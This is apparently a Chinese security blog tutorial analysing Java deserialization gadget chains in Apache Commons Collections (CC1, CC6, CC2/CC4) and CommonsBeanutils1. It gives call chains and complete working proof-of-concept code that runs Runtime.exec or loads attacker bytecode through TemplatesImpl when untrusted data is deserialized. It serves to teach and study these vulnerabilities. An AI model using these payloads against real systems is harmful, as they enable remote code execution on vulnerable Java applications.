目录

Java反序列化漏洞系列-2

Java 反序列化漏洞系列-2

1 背景介绍

1.1 Commons Collections

Apache Commons 是 Apache 软件基金会的项目。Commons Collections 包为 Java 标准的 Collections API 提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。

1.2 Java 代理

类似于 python 中装饰器的作用,Java 中的代理,就是代理类为被代理类预处理消息、过滤消息并在此之后将消息转发给被代理类,之后还能进行消息的后置处理。代理类和被代理类通常会存在关联关系,代理类本身不实现服务,而是通过调用被代理类中的方法来提供服务。

1.2.1 静态代理

创建一个接口,再创建被代理的类实现该接口并且实现该接口中的抽象方法。之后再创建一个代理类,同时使其也实现这个接口。在代理类中持有一个被代理对象的引用,而后在代理类方法中调用该对象的方法。

接口:

1
2
3
public interface HelloInterface {
    void sayHello();
}

被代理类:

1
2
3
4
5
6
public class Hello implements HelloInterface{
    @Override
    public void sayHello() {
        System.out.println("Hello World!");
    }
}

代理类:

1
2
3
4
5
6
7
8
9
public class HelloProxy implements HelloInterface{
    private HelloInterface helloInterface = new Hello();
    @Override
    public void sayHello() {
        System.out.println("Before invoke sayHello" );
        helloInterface.sayHello();
        System.out.println("After invoke sayHello");
    }
}

代理类调用:

1
2
3
4
5
6
7
8
9
    public static void main(String[] args) {
        HelloProxy helloProxy = new HelloProxy();
        helloProxy.sayHello();
    }
    
输出
Before invoke sayHello
Hello World!
After invoke sayHello

使用静态代理很容易就完成了对一个类的代理操作。但是静态代理的缺点也大:由于代理只能为一个类服务,如果需要代理的类很多,那么就需要编写大量的代理类,比较繁琐。因此,提出了动态代理的概念。

1.2.2 动态代理

利用反射机制在运行时创建代理类。

接口、被代理类不变,通过构建 handler 类来实现 InvocationHandler 接口。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
public class ProxyHandler implements InvocationHandler{
    private Object object;
    public ProxyHandler(Object object){
        this.object = object;
    }
    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        System.out.println("Before invoke "  + method.getName());
        method.invoke(object, args);
        System.out.println("After invoke " + method.getName());
        return null;
    }
}

执行动态代理:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
public static void main(String[] args) {
  	System.getProperties().setProperty("sun.misc.ProxyGenerator.saveGeneratedFiles", "true");
    HelloInterface hello = new Hello();
    InvocationHandler handler = new ProxyHandler(hello);
    HelloInterface proxyHello = (HelloInterface) Proxy.newProxyInstance(hello.getClass().getClassLoader(), hello.getClass().getInterfaces(), handler);

    proxyHello.sayHello();
}

输出
Before invoke sayHello
Hello zhanghao!
After invoke sayHello

2 CommonsCollections 1 gadget 分析

2.1 调用链

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
ObjectInputStream.readObject()
	AnnotationInvocationHandler.readObject()
		MapEntry.setValue()
			TransformedMap.checkSetValue()
				ChainedTransformer.transform()
					ConstantTransformer.transform()
					InvokerTransformer.transform()
						Method.invoke()
							Class.getMethod()
					InvokerTransformer.transform()
						Method.invoke()
							Runtime.getRuntime()
					InvokerTransformer.transform()
						Method.invoke()
							Runtime.exec()

2.2 POC

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
        };
        
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("test", "Geekby");

2.3 分析

2.3.1 整体思路

cc1 gadget 的 sink 点在于 InvokerTransformer 类可以通过传入方法名,方法参数类型、方法参数,利用反射机制,进行方法调用。

反向寻找使用了 InvokerTransformer 类中 transform 方法的调用点:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202108281634992.png-water_print

发现 TransformedMap 类中的 checkSetValue 方法中调用了 transform 方法

1
2
3
protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
}

TransformedMap 类的成员中,发现 protected final Transformer valueTransformer 属性。通过调用该类的 decorate 方法,可以构造一个 TransformedMap 对象。

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202108281638961.png-water_print

接下来去寻找调用了 checkSetValuesource

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202108281645536.png-water_print

MapEntry 中,存在 setValue 方法。因此,该链的前半段 POC 如下:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202108281656098.png-water_print

接下来就是去寻找反序列化的入口,在 AnnotationInvocationHandler 类中,重写了 readObject 方法,在该方法中,对 MapEntry 调用了 setValue 方法。

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202108291659945.png-water_print

该类非公有,因此,需要通过反射来构造其对象:

1
2
3
4
Class annotationClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = annotationClass.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Override.class, outerMap);

对 obj 对象进行反序列化,构成整条链的利用思路。整个过程涉及到如下几个接口和类的具体作用及一些细节如下。

2.3.2 TransformedMap

TransformedMap 用于对 Java 标准数据结构 Map 做一个修饰,被修饰过的 Map 在添加新的元素时,将可以执行自定义的回调函数。如下,对 innerMap 进行修饰,传出的 outerMap 即是修饰后的 Map:

1
MapouterMap = TransformedMap.decorate(innerMap, keyTransformer,  valueTransformer);

其中,keyTransformer 是处理新元素的 Key 的回调,valueTransformer 是处理新元素的 value 的回调。 我们这里所说的「回调」,并不是传统意义上的一个回调函数,而是一个实现了 Transformer 接口的类。

2.3.3 Transformer

Transformer 是一个接口,它只有一个待实现的方法:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202108261640092.png-water_print

TransformedMap 在转换 Map 的新元素时,就会调用 transform 方法,这个过程就类似在调用一个「回调函数」,这个回调的参数是原始对象。

2.3.4 ConstantTransformer

ConstantTransformer 是实现了 Transformer 接口的一个类,它的过程就是在构造函数的时候传入一个对象:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202108261642416.png-water_print

并在 transform 方法将这个对象再返回:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202108261642703.png-water_print

2.3.5 InvokerTransformer

InvokerTransformer 是实现了 Transformer 接口的一个类,这个类可以用来执行任意方法,这也是反序列化能执行任意代码的关键。

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202108261643677.png-water_print

在实例化这个 InvokerTransformer 时,需要传入三个参数,第一个参数是待执行的方法名,第二个参数是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表。

后面的回调 transform 方法,就是执行了 input 对象的 iMethodName 方法:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202108261650686.png-water_print

以执行 calc 为例:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202108281624396.png-water_print

2.3.6 ChainedTransformer

ChainedTransformer 也是实现了 Transformer 接口的一个类,它的作用是将内部的多个 Transformer 串在一起。通俗来说就是,前一个回调返回的结果,作为后一个回调的参数传入。

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202108261648601.png-water_print

引用 phith0n 的一张图:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202108261651731.png-water_print

2.3.7 AnnotationInvocationHandler

触发这个漏洞的核心,在于向 Map 中加入一个新的元素。在上面的 demo 中,通过手动执行 outerMap.put("test", "xxxx"); 来触发漏洞,但在实际反序列化时,需要找到一个类,它在反序列化的 readObject 逻辑里有类似的写入操作。

AnnotationInvocationHandler 类中的 readObject

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202108291710738.png-water_print

核心逻辑就是 Map.Entry<String, Object> memberValue : memberValues.entrySet()memberValue.setValue(...) 。在调用 setValue 设置值的时候就会触发 TransformedMap 里注册的 Transform,进而执行 payload。

接下来构造 POC 时,首先创建一个 AnnotationInvocationHandler

1
2
3
4
5
6
7
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);

construct.setAccessible(true);

Object obj = construct.newInstance(Retention.class, outerMap);

由于 sun.reflect.annotation.AnnotationInvocationHandler 是 JDK 的内部类,其构造函数是私有的,因此通过反射来创建对象。

2.3.8 进一步完善

通过构造 AnnotationInvocationHandler 类,来创建反序列化利用链的起点,用如下代码将对象序列化:

1
2
3
4
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();

但是,在经过序列化时,抛出异常:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202108271008846.png-water_print

在本系列的第一部分描述过,java.lang.Runtime 这个类没有实现 Serializable 接口,无法序列化。因此,需要通过反射来获取当前上下文中的 java.lang.Runtime 对象。

1
2
3
Method m = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) m.invoke(null);
r.exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");

转换成 Transformer 的写法:

1
2
3
4
5
6
Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
};

但是,执行过后,发现仍然没有弹出计算器。

动态调试发现与 AnnotationInvocationHandler 类的逻辑有关,在 AnnotationInvocationHandler:readObject 的逻辑中,有一个 if 语句对 var7 进行判断,只有在其不是 null 的时候才会进入里面执行 setValue,否则不会进入也就不会触发漏洞。

那么如何让这个 var7 不为 null 呢?需要如下两个条件:

  1. sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是 Annotation 的子类,且其中必须含有至少一个方法,假设方法名是 X
  2. 被 TransformedMap.decorate 修饰的 Map 中必须有一个键名为 X 的元素

所以,前面的 payload 中用到了 Retention.class ,因为 Retention 有一个方法,名为 value。为了再满足第二个条件,需要给 Map 中放入一个 Key 是 value 的元素:

1
innerMap.put("value","Geekby");

但是这个 Payload 有一定局限性,在 Java 8u71 以后的版本中,由于 sun.reflect.annotation.AnnotationInvocationHandler 发生了变化导致不再可用。

3 CommonsCollections 6 gadget 分析

3.1 调用链

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
java.io.ObjectInputStream.readObject()
    java.util.HashSet.readObject()
        java.util.HashMap.put()
        java.util.HashMap.hash()
            org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
            org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                org.apache.commons.collections.map.LazyMap.get()
                    org.apache.commons.collections.functors.ChainedTransformer.transform()
                    org.apache.commons.collections.functors.InvokerTransformer.transform()
                    java.lang.reflect.Method.invoke()
                        java.lang.Runtime.exec()

3.2 POC

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public class Main {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec",new Class[] { String.class }, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
        TiedMapEntry te = new TiedMapEntry(lazyMap, "poc");

        HashSet ht = new HashSet();
        ht.add(te);

        innerMap.remove("poc");

        Class c = LazyMap.class;
        Field f = c.getDeclaredField("factory");
        f.setAccessible(true);
        f.set(lazyMap, transformerChain);


        // 序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(ht);
        oos.close();

        // 反序列化
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();

    }
}

3.3 分析

CommonsCollections 6 的 sink 链使用的依旧是 InvokerTransformer 反射接口,利用 ChainedTransformer 串联三次 InvokerTransformer 反射和 ConstantTransformer 接口,获取 Runtime 类。

CommonsCollections 1 中,通过交叉引用搜索到另外一个类 LazyMap 中的 get 方法调用了 transform 方法。

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202108291059769.png-water_print

通过调用 LazyMap.decorate 方法,将恶意的 ChainedTransformer 赋值给 LazyMap#factory,当调用 LazyMap#get(Object key) 方法,则会触发恶意代码的执行。(与 CommonsCollections 1、CommonsCollections 5 的 sink 点相同)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
public static void main(String[] args) {
    Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
        new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
        new InvokerTransformer("exec",new Class[] { String.class }, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
    };
    Transformer transformerChain = new ChainedTransformer(transformers);
    Map innerMap = new HashMap();
    Map outerMap = LazyMap.decorate(innerMap, transformerChain);
  	outerMap.get("poc");
}

CommonsCollections 6 gadget 作者找到了 TiedMapEntry 类,其中在 TiedMapEntry#getValue() 方法中调用了 this.map.get(this.key) 方法。

1
2
3
public Object getValue() {
    return this.map.get(this.key);
}

调用 TiedMapEntry(Map map, Object key) 构造方法,可以为 TiedMapEntry#map 赋值

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202108291141935.png-water_print

TiedMapEntry 中的 equals(Object obj)hashCode()toString() 方法中都调用了 TiedMapEntry#getValue() 方法。这里作者选择调用 TiedMapEntry#hashCode() 方法。

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202108291143784.png-water_print

接下来的思路就和 DNSURL 链类似,通过 HashMap 入口进行反序列化。

1
2
TiedMapEntry te = new TiedMapEntry(lazyMap, "Geekby");
te.hashCode();

但是,在构造 HashMap 时,调用 put 方法,执行 hashcode 方法,会直接执行后续的命令执行操作,情况和 DNSURL 链相似,因此,需要通过反射来进行一些设置。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
TiedMapEntry te = new TiedMapEntry(lazyMap, "Geekby");

HashMap<Object, Object> ht =  new HashMap<>();
ht.put(te, null);
// ht put 后,调用 TiedMapEntry#hashCode 中 getValue()
// 调用 lazyMap#get 方法
// 判断 innerMap 中是否含有 "Geekby" 这个 key
// 没有,进入 if 逻辑,调用 transform,向 innerMap 中添加对应的 Key:Value
// 然后再删除这个键值对,便于后续反序列化再次进入 if 逻辑。
innerMap.remove("Geekby");
// 此外将 LazyMap#factory 属性还原为 transformerChain (防止构造时就执行)
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, transformerChain);

4 CommonsCollections 2&&4 gadget 分析

在 2015 年底 commons-collections 反序列化利用链被提出时,Apache Commons Collections 有以下两个分支版本:

  • commons-collections:commons-collections
  • org.apache.commons:commons-collections4

可⻅,groupId 和 artifactId 都变了。前者是 Commons Collections 老的版本包,当时版本号是3.2.1,后者是官方在 2013 年推出的 4 版本,当时版本号是 4.0。

官方认为旧的 commons-collections 有一些架构和 API 设计上的问题,但修复这些问题,会产生大量不能向前兼容的改动。所以,commons-collections4 不再认为是一个用来替换 commons-collections 的新版本,而是一个新的包,两者的命名空间不冲突,因此可以共存在同一个项目中。

那么,既然 3.2.1 中存在反序列化利用链,那么 4.0 版本是否存在呢?

4.1 CommonsCollections4 包的改动

由于两个版本的库可以共存,因此把两个包放到同一个项目中的 pom.xml 进行比较:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<dependencies>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
    <dependency>
        <groupId>org.apache.commons</groupId>
        <artifactId>commons-collections4</artifactId>
        <version>4.0</version>
    </dependency>
</dependencies>

用之前的 CommonsCollections6 利用链做个例子,然后将所有 import org.apache.commons.collections.* 改成 import org.apache.commons.collections4.*

直接运行,发现 LazyMap.decorate 这个方法没有了:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202108311533587.png-water_print

在 3 中的定义:

1
2
3
public static Map decorate(Map map, Transformer factory) {
    return new LazyMap(map, factory);
}

而在 6 中的定义:

1
2
3
public static <K, V> LazyMap<K, V> lazyMap(final Map<K, V> map, final Factory< ? extends V> factory) {
    return new LazyMap<K,V>(map, factory);
}

这个方法不过就是 LazyMap 构造函数的一个包装,而在 4 中其实只是改了个名字叫 lazyMap。

所以,我们将 Gadget 中出错的代码换一下名字:

1
MapouterMap = LazyMap.lazyMap(innerMap, transformerChain);

运行:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202108311536539.png-water_print

同理,之前的 CC1 Gadget、CC6 Gadget,都可以在 CommonsCollections4 中正常使用。

4.2 PriorityQueue 利用链

ysoserial 还为 commons-collections4 准备了两条新的利用链,那就是 CommonsCollections2CommonsCollections4

commons-collections 这个包之所有能攒出那么多利用链来,除了因为其使用量大,技术上的原因是其中包含了一些可以执行任意方法的 Transformer。所以,在 commons-collections 中找 Gadget 的过程,实际上可以简化为,找一条从 Serializable#readObject() 方法到 Transformer#transform() 方法的调用链。

4.2.1 CommonsCollections2 Gadget

4.2.1.1 调用链
1
2
3
4
5
6
7
ObjectInputStream.readObject()
	PriorityQueue.readObject()
		...
			TransformingComparator.compare()
				InvokerTransformer.transform()
					Method.invoke()
						Runtime.exec()
4.2.1.2 分析

在 CC2 中,用到的两个关键类是:

  • java.util.PriorityQueue
  • org.apache.commons.collections4.comparators.TransformingComparator

首先,java.util.PriorityQueue 类拥有自己的 readObject()

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202108311547377.png-water_print

org.apache.commons.collections4.comparators.TransformingComparator 中有调用 transform() 方法的函数:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202108311549800.png-water_print

所以,CommonsCollections2 实际就是一条从 PriorityQueueTransformingComparator 的利用链。

接下来看下这个 Gadget 的串联方式: PriorityQueue#readObject() 中调用了 heapify() 方法, heapify() 中调用了 siftDown()siftDown() 中调用 siftDownUsingComparator()siftDownUsingComparator() 中调用的 comparator.compare() ,于是就连接到上面的 TransformingComparator 了:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202108311626962.png-water_print

总结起来就是:

  • java.util.PriorityQueue 是一个优先队列(Queue),基于二叉堆实现,队列中每一个元素有自己的优先级,节点之间按照优先级大小排序成一棵树。

  • 反序列化时调用 heapify() 方法,是为了反序列化后,需要恢复这个结构的顺序。

  • 排序是靠将大的元素下移实现的。siftDown() 是将节点下移的函数, 而 comparator.compare() 用来比较两个元素大小。

  • TransformingComparator 实现了 java.util.Comparator 接口,这个接口用于定义两个对象如何进行比较。 siftDownUsingComparator() 中就使用这个接口的 compare() 方法比较树的节点。

POC 如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package CC4Test;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;

public class CC4Test {
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec",new Class[] { String.class }, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
        };

        Transformer transformerChain = new ChainedTransformer(fakeTransformers);

        Comparator comparator = new TransformingComparator(transformerChain);
        PriorityQueue queue = new PriorityQueue(2, comparator);

        queue.add(1);
        queue.add(2);
        
        Field f = transformerChain.getClass().getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);

        // 序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        // 反序列化
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
    }
}
4.2.1.3 改进 PriorityQueue 利用链

创建 TemplatesImpl 对象:

1
2
3
4
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

创建一个正常的 InvokerTransformer 对象,并用它实例化 Comparator :

1
2
Transformertransformer = new InvokerTransformer("toString",null,null);
Comparatorcomparator = new TransformingComparator(transformer);

实例化 PriorityQueue ,向队列里添加的元素是前面创建的 TemplatesImpl 对象:

1
2
3
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(obj);
queue.add(obj);

原因很简单,和上一篇文章相同,因为我们这里无法再使用 Transformer 数组,所以也就不能用 ConstantTransformer 来初始化变量,需要接受外部传入的变量。而在 Comparator#compare() 时,队列里的元素将作为参数传入 transform() 方法,这就是传给 TemplatesImpl#newTransformer 的参数。

最后一步,将 toString 方法改成恶意方法 newTransformer :

1
setFieldValue(transformer, "iMethodName", "newTransformer");

最终的 POC:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public static void main(String[] args) throws Exception {
    TemplatesImpl obj = new TemplatesImpl();
    setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()});
    setFieldValue(obj, "_name", "HelloTemplatesImpl");
    setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
    
    Transformer transformer = new InvokerTransformer("toString", null, null);
  
    Comparator comparator = new TransformingComparator(transformer);
  
    PriorityQueue queue = new PriorityQueue(2, comparator);
    queue.add(obj);
    queue.add(obj);
  
    setFieldValue(transformer, "iMethodName", "newTransformer");
  
    ByteArrayOutputStream barr = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(barr);
    oos.writeObject(queue);
    oos.close();

    ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
    Object o = (Object)ois.readObject();
}

5 CommonsBeanutils1 Gadget 分析

5.1 背景

Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通 Java 类对象(也称为 JavaBean)的一些操作方法。

如 Cat 是一个最简单的 JavaBean 类:它包含一个私有属性 name,和读取和设置这个属性的两个方法,又称为 getter 和 setter。其中,getter 的方法名以 get 开头,setter 的方法名以 set 开头,

1
2
3
4
5
6
7
8
9
final public class Cat {
    private String name = "catalina";
    public String getName() {
        return name;
}
    public void setName(String name) {
        this.name = name;
    }
}

commons-beanutils 中提供了一个静态方法 PropertyUtils.getProperty ,让使用者可以直接调用任意 JavaBean 的 getter 方法,比如:PropertyUtils.getProperty(new Cat(), "name");

此时,commons-beanutils 会自动找到 name 属性的 getter 方法,也就是 getName,然后调用,获得返回值。除此之外, PropertyUtils.getProperty 还支持递归获取属性,比如 a 对象中有属性 b,b 对象中有属性 c,我们可以通过 PropertyUtils.getProperty(a, "b.c"); 的方式进行递归获取。通过该方法,使用者可以很方便地调用任意对象的 getter,适用于在不确定 JavaBean 是哪个类对象时使用。

5.2 分析

寻找可以利用的 java.util.Comparator 对象,在 commons-beanutils 包中存在: org.apache.commons.beanutils.BeanComparator ,用来比较两个 JavaBean 是否相等的类,其实现了 java.util.Comparator 接口。我们看它的 compare 方法:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202109011005375.png-water_print

这个方法传入两个对象,如果 this.property 为空,则直接比较这两个对象。如果 this.property 不 为空,则用 PropertyUtils.getProperty 分别取这两个对象的 this.property 属性,比较属性的值。PropertyUtils.getProperty 这个方法会自动去调用一个 JavaBean的getter 方法, 这个点是任意代码执行的关键。

在分析 TemplatesImpl 利用链的文章中指出,TemplatesImpl#getOutputProperties() 方法是调用链上的一环,它的内部调用了 TemplatesImpl#newTransformer() ,也就是后面常用来执行恶意字节码的方法:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202109011010362.png-water_print

getOutputProperties 这个名字,是以 get 开头,正符合 getter 的定义。

构造的 POC 如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CB1Demo {
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("/Volumes/MacOS/WorkSpace/JAVA/ClassLoaderVuln/http/HelloTemppaltesImpl.class"));

        TemplatesImpl obj = new TemplatesImpl();

        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator comparator = new BeanComparator();
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        queue.add(1);
        queue.add(1);

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        // 序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        // 反序列化
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

首先创建 TemplateImpl。然后实例化 BeanComparatorBeanComparator 构造函数为空时,默认的 property 就是空。再用刚刚的 comparator 实例化优先队列 PriorityQueue

可以看到,代码中添加了两个无害的可以比较的对象进队列中。前文说过, BeanComparator#compare() 中, 如果 this.property 为空,则直接比较这两个对象。这里实际上就是对两个 1 进行排序。

最后,再用反射将 property 的值设置成恶意的 outputProperties ,将队列里的两个 1 替换成恶意的 TemplateImpl 对象。

参考

phith0n Java 漫谈系列

Java反序列化漏洞原理解析

Java反序列化漏洞从入门到关门

从0开始学Java反序列化漏洞

深入理解 JAVA 反序列化漏洞

Java反序列化利用链补全计划

Commons-Collections 利用链分析